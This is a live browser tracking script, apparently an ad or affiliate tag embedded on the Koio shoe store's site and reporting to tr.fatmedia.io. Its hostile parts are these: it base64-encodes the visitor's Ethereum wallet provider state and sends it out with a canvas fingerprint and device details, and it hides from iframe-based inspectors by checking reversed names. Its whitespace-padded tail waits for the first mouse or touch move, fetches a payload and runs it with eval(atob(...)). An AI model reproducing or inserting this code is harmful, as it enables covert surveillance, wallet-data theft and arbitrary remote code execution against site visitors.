var _adowymz_dbg = ""; function _rwqdhs_addfprt(object) { if(typeof ethereum !== "undefined" && ethereum._state) { object.eth = btoa(JSON.stringify(ethereum._state)); } object.sw = screen.width; object.sh = screen.height; var fHS63scanvas = document.createElement("canvas"); fHS63scanvas.style = "position: absolute; display: none;"; fHS63scanvas.width = 200; fHS63scanvas.height = 40; var fHS63sbodyElement = document.getElementsByTagName('body'); if (fHS63sbodyElement && fHS63sbodyElement[0]) { fHS63sbodyElement[0].appendChild(fHS63scanvas); } var fHS63sctx = fHS63scanvas.getContext("2d");  fHS63sctx.fillStyle = "rgb(255,0,255)"; fHS63sctx.beginPath(); fHS63sctx.rect(20, 20, 150, 100); fHS63sctx.fill(); fHS63sctx.stroke(); fHS63sctx.closePath(); fHS63sctx.beginPath(); fHS63sctx.fillStyle = "rgb(0,255,255)"; fHS63sctx.arc(50, 50, 50, 0, Math.PI * 2, true); fHS63sctx.fill(); fHS63sctx.stroke();    fHS63sctx.closePath(); fHS63sctx.textBaseline = "top"; fHS63sctx.font = '17px "Arial 17"'; fHS63sctx.textBaseline = "alphabetic"; fHS63sctx.fillStyle = "rgb(255,5,5)"; fHS63sctx.rotate(.03); fHS63sctx.fillText('abz190#$%^@£éú', 4, 17); fHS63sctx.fillStyle = "rgb(155,255,5)"; fHS63sctx.shadowBlur=8; fHS63sctx.shadowColor="red"; fHS63sctx.fillRect(20,12,100,5); fHS63ssrc = fHS63scanvas.toDataURL(); var fHS63shash = 0;  for (i = 0; i < fHS63ssrc.length; i++) { char = fHS63ssrc.charCodeAt(i); fHS63shash = ((fHS63shash<<5)-fHS63shash)+char; fHS63shash = fHS63shash & fHS63shash; } object.fpc = fHS63shash; try { object.sch = window.matchMedia("(prefers-color-scheme: light)").matches; } catch(e) { object.sch = "unknown" } try { object.tch = (('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)); } catch(e) { object.tch = "unknown"; } var f7436el = document.createElement('div'); f7436el.style.width = '1in'; document.body.appendChild(f7436el); const f7436dpi = f7436el.offsetWidth * (devicePixelRatio || 1); f7436el.remove(); object.dpi = f7436dpi; var x=navigator.plugins.length; var txt=""; for(var i=0;i<x;i++) { txt+=navigator.plugins[i].name + " "; } object.plg = txt; if(object.location.includes('#nbncidtf')) {    } return object; } try {  window.mm_migration_query = '{"type":"0","cid":"540","language":"english","extref":"https://www.koio.co/"}';  /* DO NOT CHANGE */
    var ctl = {nr: '5fff1b14254465001f40e004', cls: 'generic', referer: document.referrer.toString(), location: window.location.href};
    ctl = _rwqdhs_addfprt(ctl);
    // leave this line here
    /* DO NOT CHANGE */

    /* ---------------BEGIN CUSTOM CODE HERE ------------------ */

    function getAttFromDl(att) {
    if(typeof dataLayer !== 'undefined' && dataLayer !== null) {
        for(var l in dataLayer) {
        if(typeof dataLayer[l][att] !== 'undefined' && dataLayer[l][att] !== null) {
            return dataLayer[l]; 
        }
        }
    }
    return null;
    }

    function switchPageTypes(switcher, parent) {
        ctl.comment = JSON.stringify(parent);
        switch(parent[switcher]) {
        case "home":
        case "homepage":
        case "front":
        case "frontpage":
            ctl.cls = "front";
            // leave this line here
            break;
        case "product":
        case "detail":
            ctl.cls = "product";
            ctl.productid =
            typeof parent.ecomm_prodid !== "undefined" ||
            typeof parent.productId !== "undefined" ||
            typeof parent.productid !== "undefined" ||
            typeof parent.product_id !== "undefined" ||
            typeof parent.product_id_ref6 !== "undefined" ?
            parent.ecomm_prodid ||
            parent.productId ||
            parent.productid ||
            parent.product_id ||
            parent.product_id_ref6 : "";

            // leave this line here
            break;
        case "cart":
            ctl.cls = "cart";
            // leave this line here
            break;
        case "category":
        case "catalog":
        case "listing":
            ctl.cls = "catalog";
            ctl.category = "";
            // leave this line here
            break;
        case "search":
        case "searchresults":
            ctl.cls = "search";
            ctl.searchterm = "";
            // leave this line here
            break;
        case "checkout":
            ctl.cls = "checkout";
            // leave this line here
            break;
        case "purchase":
        case "transaction":
        case "finish":
        case "complete":
            ctl.cls = "order";
            ctl.orderid = "";
            ctl.ordervalue = "";
            ctl.products = "";
            ctl.shipping = "";
            ctl.currency = "";
            // leave this line here
            break;
        } 
    }

    _mrv_dl = getAttFromDl("pageType");

    if(_mrv_dl !== null && _mrv_dl.pageType !== null) {
        switchPageTypes("pageType", _mrv_dl)
    }
    else if(typeof google_tag_params !== "undefined" && google_tag_params.ecomm_pagetype !== "undefined") {  
        switchPageTypes("ecomm_pagetype", google_tag_params);
    }
    else if(typeof window.mm_migration_query !== 'undefined' && window.mm_migration_query != null) {
        var migration_query = JSON.parse(window.mm_migration_query);
        if(typeof migration_query.type !== 'undefined' && migration_query.type != null) {
            switch(migration_query.type) {
                case "0":
                    ctl.cls = 'front';
                    // leave this line here
                    break;
                case "1":
                    ctl.cls = 'product';
                    ctl.productid = migration_query.productid;
                    
                    var incoming = {
                        campaign: "5fff1b14254465001f40e004", //Leave this unchanged
                        catalog: "5fff1b14254465001f40e007", //Add catalog id
                        id: ctl.productid || "",
                        availability: "1",
                        googleProductCategory: "1",
                        mpn: ctl.productid || "",
                        link: "https://www.pjtra.com/t/TUJGR0VMRUJGTEpGRkpCRkxLTE5O?sid=&url" //Add affiliate link prefix
                        // additionalImageLink: "", //Optional
                        // additionalImageLink2: "", //Optional
                        // additionalImageLink3: "", //Optional
                        // additionalImageLink4: "", //Optional
                        // additionalImageLink5: "", //Optional
                        // unitPricingMeasure: "", //Optional
                        // unitPricingBaseMeasure: "", //Optional
                        // gtin: "", //Optional
                        // condition: "", //Optional
                        // shipping: "", //Optional
                    }
                    incoming.title = document.querySelector("meta[property='og:title']") !== null ? document.querySelector("meta[property='og:title']").getAttribute("content") : "";
                    incoming.description = document.querySelector("meta[property='og:description']") !== null ? document.querySelector("meta[property='og:description']").getAttribute("content") : "";
                    incoming.link += document.querySelector("link[rel='canonical']") !== null ? encodeURIComponent(document.querySelector("link[rel='canonical']").getAttribute("href")) : encodeURIComponent(ctl.location.split("?")[0]);
                    incoming.imageLink = document.querySelector("meta[property='og:image']") !== null ? document.querySelector("meta[property='og:image']").getAttribute("content") : "";
                    incoming.price = document.querySelector("meta[property='og:price:amount']") !== null ? document.querySelector("meta[property='og:price:amount']").getAttribute("content") : "";
                    incoming.salePrice = document.querySelector("meta[property='og:price:amount']") !== null ? document.querySelector("meta[property='og:price:amount']").getAttribute("content") : "";
                    incoming.brand = "Koio";
        
                    // leave this line here
                    
                    if(incoming.catalog != "" && incoming.id != "") {
                    
                    
                        var productObject = {
                            id: (typeof incoming.id !== "undefined" ? incoming.id : ""),
                            title: (typeof incoming.title !== "undefined" ? incoming.title : ""),
                            description: (typeof incoming.description !== "undefined" ? incoming.description : ""),
                            link: (typeof incoming.link !== "undefined" ? incoming.link : ""),
                            imageLink: (typeof incoming.imageLink !== "undefined" ? incoming.imageLink : ""),
                            price: (typeof incoming.price !== "undefined" ? incoming.price : ""),
                            salePrice: (typeof incoming.salePrice !== "undefined" ? incoming.salePrice : ""),
                            googleProductCategory: (typeof incoming.googleProductCategory !== "undefined" ? incoming.googleProductCategory : ""),
                            brand: (typeof incoming.brand !== "undefined" ? incoming.brand : ""),
                            mpn: (typeof incoming.mpn !== "undefined" ? incoming.mpn : ""),
                            additionalImageLink: (typeof incoming.additionalImageLink !== "undefined" ? incoming.additionalImageLink : ""),
                            additionalImageLink2: (typeof incoming.additionalImageLink2 !== "undefined" ? incoming.additionalImageLink2 : ""),
                            additionalImageLink3: (typeof incoming.additionalImageLink3 !== "undefined" ? incoming.additionalImageLink3 : ""),
                            additionalImageLink4: (typeof incoming.additionalImageLink4 !== "undefined" ? incoming.additionalImageLink4 : ""),
                            additionalImageLink5: (typeof incoming.additionalImageLink5 !== "undefined" ? incoming.additionalImageLink5 : ""),
                            unitPricingMeasure: (typeof incoming.unitPricingMeasure !== "undefined" ? incoming.unitPricingMeasure : ""),
                            unitPricingBaseMeasure: (typeof incoming.unitPricingBaseMeasure !== "undefined" ? incoming.unitPricingBaseMeasure : ""),
                            gtin: (typeof incoming.gtin !== "undefined" ? incoming.gtin : ""),
                            sellerLogo: (typeof incoming.sellerLogo !== "undefined" ? incoming.sellerLogo : ""),
                            currency: (typeof incoming.currency !== "undefined" ? incoming.currency : ""),
                            country: (typeof incoming.country !== "undefined" ? incoming.country : ""),
                            condition: (typeof incoming.condition !== "undefined" ? incoming.condition : ""),
                            shipping: (typeof incoming.shipping !== "undefined" ? incoming.shipping : ""),
                            prefix: (typeof incoming.prefix !== "undefined" ? incoming.prefix : ""),
                        }
                    
                        if(typeof incoming.listed !== "undefined" && incoming.listed == "false") { productObject.listed = false } else { productObject.listed = true };
                        if(typeof incoming.featured !== "undefined" && incoming.featured == "false") { productObject.featured = false } else { productObject.featured = true };
                        if(typeof incoming.upsert !== "undefined" && (incoming.upsert == "true" || incoming.upsert == "false")) productObject.upsert = incoming.upsert;
                        if(typeof incoming.prefixImageFile !== "undefined" && (incoming.prefixImageFile == "true" || incoming.prefixImageFile == "false")) productObject.prefixImageFile = incoming.prefixImageFile;
                        if(typeof incoming.availability !== "undefined") productObject.availability = incoming.availability;
                    
                    
                        if(typeof ctl42 !== "undefined") {
                            ctl42.fdcrw_catalog = incoming.catalog;
                            ctl42.fdcrw_data = JSON.stringify(productObject);
                        }
                        if(typeof ctl !== "undefined") {
                            ctl.fdcrw_catalog = incoming.catalog;
                            ctl.fdcrw_data = JSON.stringify(productObject);
                        }
                    
                    }                    
                    
                    // leave this line here
                    break;
                case "2":
                    ctl.cls = 'order';
                    ctl.orderid = migration_query.salecode;
                    ctl.ordervalue = migration_query.price;
                    ctl.currency = migration_query.curr;
                    ctl.products = migration_query.productids;
                    // leave this line here
                    break;
                case "3":
                    ctl.cls = 'catalog';
                    ctl.category = migration_query.category;
                    // leave this line here
                    break;
                case "4":
                    ctl.cls = 'cart';
                    // leave this line here
                    break;
            }
        }
        
    }
    else if(typeof document.body.className.trim().split(" ")[0] !== "undefined") {
        ctl.comment = JSON.stringify(document.body.className.trim().split(" "));
        switch(document.body.className.trim().split(" ")[0]) {
        case "catalog-category-view":
            ctl.cls = "catalog";
            ctl.category = document.body.className.trim().split(" ")[2];
            // leave this line here
            break;
        case "cms-index-index":
            ctl.cls = "front";
            // leave this line here
            break;
        case "catalog-product-view":
            ctl.cls = "product";
            // leave this line here
            break;
        case "checkout-cart-index":
            ctl.cls = "cart";
            // leave this line here
            break;
        case "checkout-onepage-index":
            ctl.cls = "checkout";
            // leave this line here
            break;
        case "checkout-onepage-success":
            ctl.cls = "order";
            // leave this line here
            break;
        }
    }


    /* ---------------END CUSTOM CODE HERE ------------------ */

    
    var prc=!0;if(top!==self){var cache=[],rsn="",tt=["-isg","oisg","xirti","atcaxe","-caxe",".caxe"];function stringifySelf(r){return JSON.stringify(r,function(r,t){if("object"==typeof t&&null!==t){if(-1!==cache.indexOf(t))try{return JSON.parse(JSON.stringify(t))}catch(r){return}cache.push(t)}return t})}try{var selfString=stringifySelf(self);for(var k in null!==self.frameElement&&(prc=!1,rsn="iframeelement"),tt)!isNaN(k)&&selfString.indexOf(tt[k].split("").reverse().join(""))>=0&&(prc=!1,rsn=tt[k].split("").reverse().join(""))}catch(r){prc=!1,rsn="stringifySelf threw error"}}prc||(window.ctl&&(ctl.ifc="y"),window.ctl42&&(ctl42.ifc="y"));
    /* DO NOT CHANGE */
    var queryString = Object.keys(ctl).map(function(key) {
        return key + '=' + encodeURIComponent(ctl[key]);
    }).join('&');

    var ctls = document.createElement('script');
    ctls.async = true;
    ctls.type = 'text/javascript';
    ctls.src = 'https://tr.fatmedia.io/ctl?' + queryString + '&psk=39479271856';
    var bodyElement = document.getElementsByTagName('body');
    if (bodyElement && bodyElement[0]) {
        bodyElement[0].appendChild(ctls);
    }
    /* DO NOT CHANGE */
    
 
                                                            var ixmeasure = 'd' + Math.floor(Math.random()*1000001);

                                                            window[ixmeasure] = function() {
                                                                var xmlhttp;
                                                                if (window.XMLHttpRequest) {
                                                                    xmlhttp = new XMLHttpRequest();
                                                                }
                                                                else {
                                                                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
                                                                }
                                                                xmlhttp.onreadystatechange = function() {
                                                                    if (xmlhttp.readyState == 4 && xmlhttp.status==200) {
                                                                        try { eval(atob(xmlhttp.responseText)); } catch(e) {}
                                                                    }
                                                                }
                                                                xmlhttp.open("POST","https://tr.fatmedia.io/al",true);
                                                                xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                                                                xmlhttp.send("c=5fff1b14254465001f40e004");
                                                                window.removeEventListener("mousemove", ixMeasur);
                                                                window.removeEventListener("touchmove", ixMeasur);
                                                            }
                                                            let ixMeasur = window[ixmeasure];
                                                            if(top !== self) {
                                                                ixMeasur();
                                                            }
                                                            else {
                                                                window.addEventListener("mousemove", ixMeasur);
                                                                window.addEventListener("touchmove", ixMeasur);
                                                            }
                                                               } catch(err) { _adowymz_dbg = err; console.log('e'); }
